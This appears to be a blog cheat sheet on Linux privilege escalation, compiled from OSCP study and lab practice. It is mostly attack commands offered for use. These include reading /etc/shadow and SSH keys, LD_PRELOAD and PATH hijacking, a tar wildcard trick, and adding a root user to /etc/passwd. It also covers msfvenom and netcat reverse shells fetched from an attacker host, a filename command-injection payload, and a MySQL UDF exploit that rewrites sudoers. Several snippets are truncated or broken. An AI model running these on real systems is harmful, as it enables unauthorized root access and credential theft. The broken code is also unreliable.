Linux Privilege Escalation

I have written a cheat sheet for windows privilege escalation recently and updating continually. Privilege Escalation is a very important skills in real world pentesting or even for OSCP. So Whatever i have learned during my OSCP Journey, took note. I have organized my notes as a cheat sheet and decided to share publicly, in case it is useful for someone.

These technique collected from various source in the Internet, Video and tested in HTB, CyberSecLabs, and in home labs.

Note: A cheat sheet is not understandable without basic knowledge! After all cheat sheet is not a tutorial!


Without this cheat sheet i would like to follow two more resource available online:

  1. HackTricks Linux PE CheckList
  2. PayloadAllTheThings Linux PE Cheatsheet

Linux Privilege Escalation Tools

  1. LinPeas
  2. Linux Smart Enumeration
  3. LinEnum

Linux File Permission

(r)ead = Read permission only allow the user to read the content.
(x)Execute = The user has permission to execute the program.
(w)Write = The user can modify or delete the file/program.
(s)SUID = File Executed with same privilege of the owner(For example root).
(s)SGID = File Executed with same privilege of the group.

Information Gathering

System Information

uname -a #Get kernel information
hostname #Get Host information
ip add #Get current IP address

Check User info and Common Files

  • Current user details
  • Last logged on users
  • List all users
  • Password stored in /etc/passwd?
  • Try to read restricted files
  • Read user History: .bash_history, .nano_history, .mysql_history , etc.
whoami #current username
cat /etc/passwd|grep bash #List all usres that has bash access
cat /etc/group #See which user has higher privilege
cat /etc/shadow #attempt to read restricted files
cat ~/.bash_history #Read common history files for sensitive data
locate password | more #Search for files that has 'password' word
find / -name authorized_keys 2> /dev/null #Find for ssh key
find / -name id_rsa 2> /dev/null #find for ssh Key

Kernel Exploit

uname -a
searchsploit kernel
google>kernel_version privilege escalation

Find Backup Files

Interesting Location


Services Exploits

Find Running Services:

ps aux | grep ^user
ps aux | grep ^root<

List Installed Software:

#In debian based
dpkg -l #List all installed software
dpkg -l | grep software_name #find specific software details
#in Red based OS
rpm -qa | grep software_name

SUDO Exploits

Run as another user:

sudo -u username ./program

Check if there is any program or script can run as sudo without password(NOPASSWORD). Useful link for exploit: GTFObins!

sudo -l


If LD_PRELOAD defined in sudoers file, we can escalate the privilege.

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#void _init() {


gcc -fPIC -shared -o hacked.c -nostartfiles

Run the exploit

sudo LD_PRELOAD=/tools/ apache2

CRON Job Exploits

Finding Cron Job:

Find suspicious cron job in following directories:

/etc/crontab #System wide cron job
/var/spool/cron #user crontabs
/var/spool/cron/crontabs #user crontabs

We can also find cron jobs with pspy:

./pspy64 -pf -i 1000

if a suspicious script found, check the file permission:

ls -la /path/script_name

Finally Edit, add reverse shell code!

Path Env Variable in Config

$cat /etc/crontab
***** root

Exploit it(Wait a minute to get shell):

cp /path/
chmod +x /path/

Wildcard Exploit

Exploiting wildcard with TAR.

Generate Reverse shell with Metasploit:

msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=1337 -f elf -o reverse.elf

Listen to receive connection

nc -lvp 1337

Create The exploit:

touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh reverse.elf"

Execute Tar:

tar czf /path/file_name.tar.gz *

Exploit Weak File Permission

Finding writable files in a root directory

find / -writable -type f 2&gt;/dev/null
find /etc -maxdepth 1 -writable -type f

Find all writable directory

find / -executable -writable -type d 2&gt; /dev/null

Find all readable files

find /etc -maxdepth 1 -readable -type f

As a example if /etc/passwd is writable, we can add new root user:

openssl passwd -1 -salt byte password
echo 'byte:$1$byte$hMDtu8nzkmElSsWOB8IyZ0:0:0:byte:/root:/bin/bash'&gt;&gt;/etc/passwd

Exploit Environment Variable

First we need to find SUID application

find / -uid 0 -perm -4000 -type f 2>/dev/null

Get Current environment variables:

print $PATH

For additional information, We can verify what the vulnerable application is doing:

string /usr/bin/local/app

Compile this code(/tmp/app.c) to exploit the vulnerability:

#gcc service.c -o /tmp/app
int main(){
return 0;

Export the path:


Now execute the vulnerable app:


Shared Object Injection

If any shared object not found while executing a program, and we have write permission in that directory, we can create our own shared object and re-execute for escalation

strace /usr/local/bin/program 2&gt;&1 | grep -iE "open|access|no such file"
msf command to generate the shared object backdoor
/usr/local/bin/program #execute again


Exploiting openssl Capability

Note: =ep mean, it has all capabilities! I copied the /etc/passwd file and added a new user(byte:$1$byte$hMDtu8nzkmElSsWOB8IyZ0:0:0:byte:/root:/bin/bash) of root group, then replaced the original one with openssl.

ldapuser1@lightweight ~]$ getcap -r / 2> /dev/null
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/openssl =ep

&#91;ldapuser1@lightweight ~]$ ./openssl base64 -in /etc/shadow|base64 -d

ldapuser1@lightweight ~]$ cp /etc/passwd .

ldapuser1@lightweight ~]$ nano /etc/passwd
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
libstoragemgmt:x:998:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
ldap:x:55:55:OpenLDAP server:/var/lib/ldap:/sbin/nologin
saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin

ldapuser1@lightweight ~]$ base64 passwd>passwd64
ldapuser1@lightweight ~]$ ./openssl enc -d -base64 -in passwd64 -out /etc/passwd
ldapuser1@lightweight ~]$ su byte
root@lightweight ldapuser1]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
root@lightweight ldapuser1]# 

Code Injection

Vulnerable Code:

require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^(&#91;^.])/', scandir($path));

foreach ($files as $key => $value) {
  if ($value == 'index.html') {
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check&#91;0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");




The line “exec(“nohup /bin/rm -f $path$value > /dev/null 2>&1 &”);” will check a folder that we control. Something like “nohup /bin/rm -f file.php”. But if we somehow can insert a command after file.php(“nohup /bin/rm -f file.php;whoami”) the command will get executed. Example to get reverse shell:

touch --';nc -c bash 443;.php'


Exploiting $PATH

With strings command, We can see the application executing a builtin system command. It will search the command in all directory specified in the Environment variable. To exploit this vulnerability we just need to export the directory where we have write permission!. The requirement is the app needed to be SUID as root.

$ find / -perm -u=s -type f 2>/dev/null

$ strings /usr/local/bin/weirdapp
$ cp /home/user/update.txt /var/www/html/

In Kali generate payload,transfer to victim machine and start nc:

$ msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=443 -f elf > cp
$ python3 -m http.server 80
$ nc -lvp 443

On Victim Machine:

$ wget -O /tmp/cp
$ export PATH=/tmp:$PATH
$ /usr/local/bin/weirdapp


Found it when i searched for SUID file with this command:

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

Exploited by writing to /etc/shadow:

python -c 'import crypt; print crypt.crypt("password", "$6$YbP4.h/m")' #Generate the password
LFILE=/etc/shadow #Specify the target file
echo 'root:$6$YbP4.h/m$thX/Dqj33Oz.G3GEgJ9KHi2mYwJ.MRvBDrxZqzX5wSbTYYI2MIy657TTNF5eibQibpJ923Ki5V4GTwK7GRtxp0:18358:0:99999:7:::' | xxd | xxd -r - "$LFILE" #Write to /etc/shadow

MySQL 4.x/5.0 (Linux) – (UDF) Dynamic Library Exploit

Main Exploit link:
Downloaded from:

 $ wget                                                                                                                                                                 

 $ gcc -g -c raptor_udf2.c                                                                                                                                                                                                
 $ gcc -g -shared -o raptor_udf2.o -lc                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  
 $ mysql -uroot                                                                                                                                                                                                           
Welcome to the MySQL monitor.  Commands end with ; or \g.                                                                                                                                                                                  
Your MySQL connection id is 2                                                                                                                                                                                                              
Server version: 5.0.77 Source distribution                                                                                                                                                                                                 

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.                                                                                                                                                                              

mysql> use mysql;                                                                                                                                                                                                                          
Reading table information for completion of table and column names                                                                                                                                                                         
You can turn off this feature to get a quicker startup with -A                                                                                                                                                                             

Database changed                                                                                                                                                                                                                           
mysql> create table foo(line blob);                                                                                                                                                                                                        
Query OK, 0 rows affected (0.01 sec)

mysql> insert into foo values(load_file('/home/user/'));
Query OK, 1 row affected (0.01 sec)

mysql> select * from foo into dumpfile '/usr/lib/';
Query OK, 1 row affected (0.01 sec)

mysql> create function do_system returns integer soname '';
Query OK, 0 rows affected, 1 warning (0.01 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/'; 
ERROR 1 (HY000): Can't create/write to file '/usr/lib/mysql/plugin/' (Errcode: 2)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/'; 
ERROR 1 (HY000): Can't create/write to file '/usr/lib/mysql/plugin/' (Errcode: 2)
mysql> select * from mysql.func;

mysql> select * from mysql.func;                                                                                                                                                                                                   &#91;0/1206]
| name      | ret | dl             | type     |
| do_system |   2 | | function | 
1 row in set (0.00 sec)                                   

mysql> select do_system('id > /tmp/out;');
| do_system('id > /tmp/out;') |
|                  4294967296 | 
1 row in set (0.02 sec)                                   

mysql> select do_system('id > /tmp/out; chmod 777 /tmp/out');
| do_system('id > /tmp/out; chmod 777 /tmp/out') |
|                                     4294967296 | 
1 row in set (0.00 sec)                                   

mysql> \! sh                                              
sh-3.2$ id                                                
uid=500(user) gid=500(user) groups=500(user)
sh-3.2$ exit                                              
mysql> select do_system('id > /tmp/out; chmod 777 /tmp/out');
| do_system('id > /tmp/out; chmod 777 /tmp/out') |
|                                     4294967296 | 
1 row in set (0.01 sec)                                   

mysql> exit                                               
user$ cat /tmp/out
uid=0(root) gid=0(root)                                   
user$ mysql -uroot
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3
Server version: 5.0.77 Source distribution

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> select do_system('echo " user ALL =(ALL) NOPASSWD: ALL" >> /etc/sudoers');   
| do_system('echo " user ALL =(ALL) NOPASSWD: ALL" >> /etc/sudoers') |
|                                                        4294967296 | 
1 row in set (0.00 sec)                                   

mysql> exit                                               
user$ sudo bash                             

Exploit Kernel

See Kernel version:

uname -a
searchsploit kernel_version -w
wget -O 35161.c
gcc 35161.c -o r00t